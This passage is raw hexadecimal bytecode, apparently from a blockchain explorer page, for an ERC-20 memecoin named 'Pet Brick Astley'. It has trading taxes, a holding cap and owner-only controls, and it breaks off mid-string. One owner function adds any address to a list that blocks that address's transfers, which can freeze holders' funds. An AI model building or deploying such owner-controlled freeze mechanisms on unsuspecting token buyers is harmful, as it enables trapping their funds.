fffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c9057610c0f826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c9b848484611819565b90509392505050565b610cad33610cf6565b610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390613018565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60075481565b60055481565b610d6d33610cf6565b610dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da390613018565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e929190613153565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3f9190613153565b6040518363ffffffff1660e01b8152600401610f5c929190613180565b6020604051808303816000875af1158015610f7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9f9190613153565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116530611388565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016111ab969594939291906131e4565b60606040518083038185885af11580156111c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ee919061325a565b505050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60065481565b61125833610cf6565b611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90613018565b60405180910390fd5b8060148190555050565b601060149054906101000a900460ff1681565b6112bd33610cf6565b6112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613018565b60405180910390fd5b6000471161133f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611336906132f9565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611385573d6000803e3d6000fd5b50565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113da33610cf6565b611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613018565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161148a9190612ef7565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546114cc9061310d565b80601f01602080910402602001604051908101604052809291908181526020018280546114f89061310d565b80156115455780601f1061151a57610100808354040283529160200191611545565b820191906000526020600020905b81548152906001019060200180831161152857829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115a8338484611819565b905092915050565b60006115bb33610cf6565b6115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190613018565b60405180910390fd5b6005546006819055506001905090565b601060159054906101000a900460ff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116ad33610cf6565b6116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e390613018565b60405180910390fd5b601060169054906101000a900460ff161561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390613365565b60405180910390fd5b6001601060166101000a81548160ff0219169083151502179055506001601060156101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008383111582906117fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f49190612d0c565b60405180910390fd5b506000838561180c9190613385565b9050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611889576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118809061342b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef906134bd565b60405180910390fd5b6000821161193b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119329061354f565b60405180910390fd5b600080600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119e25750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119eb57600080fd5b601860009054906101000a900460ff1615611a1457611a0b868686611c7c565b92505050611c75565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ab85750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0d57601060169054906101000a900460ff16611b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b03906135bb565b60405180910390fd5b5b601060149054906101000a900460ff16611b3557611b2c868686611c7c565b92505050611c75565b611b3f8686611e4f565b15611c3157600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be8575060065484600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be591906135db565b11155b611c27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1e90613681565b60405180910390fd5b611c3086611fb1565b5b611c3b8686612022565b8092508193505050611c51828286600754612104565b15611c6057611c5f84612183565b5b611c6d8686868486612466565b506001925050505b9392505050565b6000611d07826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9c82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e3c9190612de9565b60405180910390a3600190509392505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611efd5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f535750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fa95750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361201f576017600081548092919061201990613096565b91905055505b50565b600080600080612031866126b1565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361209157600291506120f5565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036120ef57600191506120f4565b600091505b5b80829350935050509250929050565b6000808290506000849050600061211a30611388565b90506000838211801561212c57508383115b9050601860009054906101000a900460ff161580156121485750885b80156121545750600188115b801561215d5750805b80156121755750601060149054906101000a900460ff165b945050505050949350505050565b6001601860006101000a81548160ff02191690831515021790555060006121a930611388565b905060006121c2836121bd84600854612708565b612708565b90506000600267ffffffffffffffff8111156121e1576121e0612aa3565b5b60405190808252806020026020018201604052801561220f5781602001602082028036833780820191505090505b509050308160008151811061222757612226613038565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122f29190613153565b8160018151811061230657612305613038565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123a495949392919061375f565b600060405180830381600087803b1580156123be57600080fd5b505af11580156123d2573d6000803e3d6000fd5b505050506000479050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50505050506000601860006101000a81548160ff02191690831515021790555050565b6000806000612476858588612721565b8092508193505050612507826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259c81600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161263c9190612de9565b60405180910390a360019250505095945050505050565b600080828461266291906135db565b9050838110156126a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269e90613805565b60405180910390fd5b8091505092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008183116127175782612719565b815b905092915050565b60008060008461275657601060159054906101000a900460ff166127455783612751565b61275086868661279d565b5b612758565b835b90506000601060159054906101000a900460ff1680156127755750855b61277f578461278b565b61278a87878761279d565b5b90508181935093505050935093915050565b60008060006064905084156128055760018611156127d357601654601754116127c8576012546127cc565b6014545b9150612800565b60008611156127fa57601554601754116127ef576011546127f3565b6013545b91506127ff565b600091505b5b61280a565b600191505b600061283182612823858861290890919063ffffffff16565b61298290919063ffffffff16565b905061288581600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550856128e5576128e0838661298290919063ffffffff16565b6128e7565b805b90506128fc81866129cc90919063ffffffff16565b93505050509392505050565b600080830361291a576000905061297c565b600082846129289190613825565b90508284826129379190613896565b14612977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296e90613939565b60405180910390fd5b809150505b92915050565b60006129c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a16565b905092915050565b6000612a0e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b5565b905092915050565b60008083118290612a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a549190612d0c565b60405180910390fd5b5060008385612a6c9190613896565b9050809150509392505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612adb82612a92565b810181811067ffffffffffffffff82111715612afa57612af9612aa3565b5b80604052505050565b6000612b0d612a79565b9050612b198282612ad2565b919050565b600067ffffffffffffffff821115612b3957612b38612aa3565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b7a82612b4f565b9050919050565b612b8a81612b6f565b8114612b9557600080fd5b50565b600081359050612ba781612b81565b92915050565b6000612bc0612bbb84612b1e565b612b03565b90508083825260208201905060208402830185811115612be357612be2612b4a565b5b835b81811015612c0c5780612bf88882612b98565b845260208401935050602081019050612be5565b5050509392505050565b600082601f830112612c2b57612c2a612a8d565b5b8135612c3b848260208601612bad565b91505092915050565b600060208284031215612c5a57612c59612a83565b5b600082013567ffffffffffffffff811115612c7857612c77612a88565b5b612c8484828501612c16565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cc7578082015181840152602081019050612cac565b60008484015250505050565b6000612cde82612c8d565b612ce88185612c98565b9350612cf8818560208601612ca9565b612d0181612a92565b840191505092915050565b60006020820190508181036000830152612d268184612cd3565b905092915050565b60008115159050919050565b612d4381612d2e565b82525050565b6000602082019050612d5e6000830184612d3a565b92915050565b6000819050919050565b612d7781612d64565b8114612d8257600080fd5b50565b600081359050612d9481612d6e565b92915050565b60008060408385031215612db157612db0612a83565b5b6000612dbf85828601612b98565b9250506020612dd085828601612d85565b9150509250929050565b612de381612d64565b82525050565b6000602082019050612dfe6000830184612dda565b92915050565b600080600060608486031215612e1d57612e1c612a83565b5b6000612e2b86828701612b98565b9350506020612e3c86828701612b98565b9250506040612e4d86828701612d85565b9150509250925092565b600060208284031215612e6d57612e6c612a83565b5b6000612e7b84828501612d85565b91505092915050565b600060208284031215612e9a57612e99612a83565b5b6000612ea884828501612b98565b91505092915050565b600060ff82169050919050565b612ec781612eb1565b82525050565b6000602082019050612ee26000830184612ebe565b92915050565b612ef181612b6f565b82525050565b6000602082019050612f0c6000830184612ee8565b92915050565b60008060408385031215612f2957612f28612a83565b5b6000612f3785828601612b98565b9250506020612f4885828601612b98565b9150509250929050565b6000819050919050565b6000612f77612f72612f6d84612b4f565b612f52565b612b4f565b9050919050565b6000612f8982612f5c565b9050919050565b6000612f9b82612f7e565b9050919050565b612fab81612f90565b82525050565b6000602082019050612fc66000830184612fa2565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613002600683612c98565b915061300d82612fcc565b602082019050919050565b6000602082019050818103600083015261303181612ff5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130a182612d64565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130d3576130d2613067565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061312557607f821691505b602082108103613138576131376130de565b5b50919050565b60008151905061314d81612b81565b92915050565b60006020828403121561316957613168612a83565b5b60006131778482850161313e565b91505092915050565b60006040820190506131956000830185612ee8565b6131a26020830184612ee8565b9392505050565b6000819050919050565b60006131ce6131c96131c4846131a9565b612f52565b612d64565b9050919050565b6131de816131b3565b82525050565b600060c0820190506131f96000830189612ee8565b6132066020830188612dda565b61321360408301876131d5565b61322060608301866131d5565b61322d6080830185612ee8565b61323a60a0830184612dda565b979650505050505050565b60008151905061325481612d6e565b92915050565b60008060006060848603121561327357613272612a83565b5b600061328186828701613245565b935050602061329286828701613245565b92505060406132a386828701613245565b9150509250925092565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006132e3601683612c98565b91506132ee826132ad565b602082019050919050565b60006020820190508181036000830152613312816132d6565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061334f601783612c98565b915061335a82613319565b602082019050919050565b6000602082019050818103600083015261337e81613342565b9050919050565b600061339082612d64565b915061339b83612d64565b92508282039050818111156133b3576133b2613067565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613415602583612c98565b9150613420826133b9565b604082019050919050565b6000602082019050818103600083015261344481613408565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134a7602383612c98565b91506134b28261344b565b604082019050919050565b600060208201905081810360008301526134d68161349a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613539602983612c98565b9150613544826134dd565b604082019050919050565b600060208201905081810360008301526135688161352c565b9050919050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b60006135a5601483612c98565b91506135b08261356f565b602082019050919050565b600060208201905081810360008301526135d481613598565b9050919050565b60006135e682612d64565b91506135f183612d64565b925082820190508082111561360957613608613067565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b600061366b602583612c98565b91506136768261360f565b604082019050919050565b6000602082019050818103600083015261369a8161365e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136d681612b6f565b82525050565b60006136e883836136cd565b60208301905092915050565b6000602082019050919050565b600061370c826136a1565b61371681856136ac565b9350613721836136bd565b8060005b8381101561375257815161373988826136dc565b9750613744836136f4565b925050600181019050613725565b5085935050505092915050565b600060a0820190506137746000830188612dda565b61378160208301876131d5565b81810360408301526137938186613701565b90506137a26060830185612ee8565b6137af6080830184612dda565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137ef601b83612c98565b91506137fa826137b9565b602082019050919050565b6000602082019050818103600083015261381e816137e2565b9050919050565b600061383082612d64565b915061383b83612d64565b925082820261384981612d64565b915082820484148315176138605761385f613067565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138a182612d64565b91506138ac83612d64565b9250826138bc576138bb613867565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613923602183612c98565b915061392e826138c7565b604082019050919050565b6000602082019050818103600083015261395281613916565b905091905056fea26469706673582212202f2d60f93a039e50774372f3c13326f1d3dc1f3248a9acb4f102b986e1ad9c4564736f6c634300081300330000000000000000000000007f7b1acad3e7e7e94db3aa1026e54c28de133400000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000001050657420427269636b204173746c65790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064173746c65790000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c80636c0a24eb116101025780639c22f16811610095578063bd37880011610064578063bd37880014610699578063dd62ed3e146106c4578063e871c20714610701578063f887ea4014610718576101e3565b80639c22f168146105db578063a8aa1b3114610606578063a9059cbb14610631578063ac28c3111461066e576101e3565b806370a08231116100d157806370a0823114610531578063715018a61461056e578063893d20e81461058557806395d89b41146105b0576101e3565b80636c0a24eb1461049b5780636ce42475146104c65780636ddd1713146104ef5780636e60f2521461051a576101e3565b806323b872dd1161017a5780633ce91421116101495780633ce91421146103f15780633eaaf86b1461041c5780633f764f0b146104475780635cc67ef61461045e576101e3565b806323b872dd146103235780632c743eac146103605780632f54bf6e14610389578063313ce567146103c6576101e3565b8063095ea7b3116101b6578063095ea7b3146102675780630b3e87fb146102a45780630faee56f146102cd57806318160ddd146102f8576101e3565b806304b35b18146101e857806306fdde031461021157806308fd3d051461023c576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b5061020f600480360381019061020a9190612c44565b610743565b005b34801561021d57600080fd5b50610226610820565b6040516102339190612d0c565b60405180910390f35b34801561024857600080fd5b506102516108b2565b60405161025e9190612d49565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d9a565b6108c5565b60405161029b9190612d49565b60405180910390f35b3480156102b057600080fd5b506102cb60048036038101906102c69190612c44565b6109b7565b005b3480156102d957600080fd5b506102e2610a94565b6040516102ef9190612de9565b60405180910390f35b34801561030457600080fd5b5061030d610a9a565b60405161031a9190612de9565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190612e04565b610aa4565b6040516103579190612d49565b60405180910390f35b34801561036c57600080fd5b5061038760048036038101906103829190612e57565b610ca4565b005b34801561039557600080fd5b506103b060048036038101906103ab9190612e84565b610cf6565b6040516103bd9190612d49565b60405180910390f35b3480156103d257600080fd5b506103db610d4f565b6040516103e89190612ecd565b60405180910390f35b3480156103fd57600080fd5b50610406610d58565b6040516104139190612de9565b60405180910390f35b34801561042857600080fd5b50610431610d5e565b60405161043e9190612de9565b60405180910390f35b34801561045357600080fd5b5061045c610d64565b005b34801561046a57600080fd5b5061048560048036038101906104809190612e84565b6111f3565b6040516104929190612d49565b60405180910390f35b3480156104a757600080fd5b506104b0611249565b6040516104bd9190612de9565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612e57565b61124f565b005b3480156104fb57600080fd5b506105046112a1565b6040516105119190612d49565b60405180910390f35b34801561052657600080fd5b5061052f6112b4565b005b34801561053d57600080fd5b5061055860048036038101906105539190612e84565b611388565b6040516105659190612de9565b60405180910390f35b34801561057a57600080fd5b506105836113d1565b005b34801561059157600080fd5b5061059a611494565b6040516105a79190612ef7565b60405180910390f35b3480156105bc57600080fd5b506105c56114bd565b6040516105d29190612d0c565b60405180910390f35b3480156105e757600080fd5b506105f061154f565b6040516105fd9190612ef7565b60405180910390f35b34801561061257600080fd5b5061061b611575565b6040516106289190612ef7565b60405180910390f35b34801561063d57600080fd5b5061065860048036038101906106539190612d9a565b61159b565b6040516106659190612d49565b60405180910390f35b34801561067a57600080fd5b506106836115b0565b6040516106909190612d49565b60405180910390f35b3480156106a557600080fd5b506106ae61160a565b6040516106bb9190612d49565b60405180910390f35b3480156106d057600080fd5b506106eb60048036038101906106e69190612f12565b61161d565b6040516106f89190612de9565b60405180910390f35b34801561070d57600080fd5b506107166116a4565b005b34801561072457600080fd5b5061072d61178f565b60405161073a9190612fb1565b60405180910390f35b61074c33610cf6565b61078b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078290613018565b60405180910390fd5b60005b815181101561081c576000600d60008484815181106107b0576107af613038565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081490613096565b91505061078e565b5050565b60606003805461082f9061310d565b80601f016020809104026020016040519081016040528092919081815260200182805461085b9061310d565b80156108a85780601f1061087d576101008083540402835291602001916108a8565b820191906000526020600020905b81548152906001019060200180831161088b57829003601f168201915b5050505050905090565b601060169054906101000a900460ff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109a59190612de9565b60405180910390a36001905092915050565b6109c033610cf6565b6109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690613018565b60405180910390fd5b60005b8151811015610a90576001600d6000848481518110610a2457610a23613038565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a8890613096565b915050610a02565b5050565b60085481565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c9057610c0f826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c9b848484611819565b90509392505050565b610cad33610cf6565b610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390613018565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60075481565b60055481565b610d6d33610cf6565b610dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da390613018565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e929190613153565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3f9190613153565b6040518363ffffffff1660e01b8152600401610f5c929190613180565b6020604051808303816000875af1158015610f7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9f9190613153565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116530611388565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016111ab969594939291906131e4565b60606040518083038185885af11580156111c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ee919061325a565b505050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815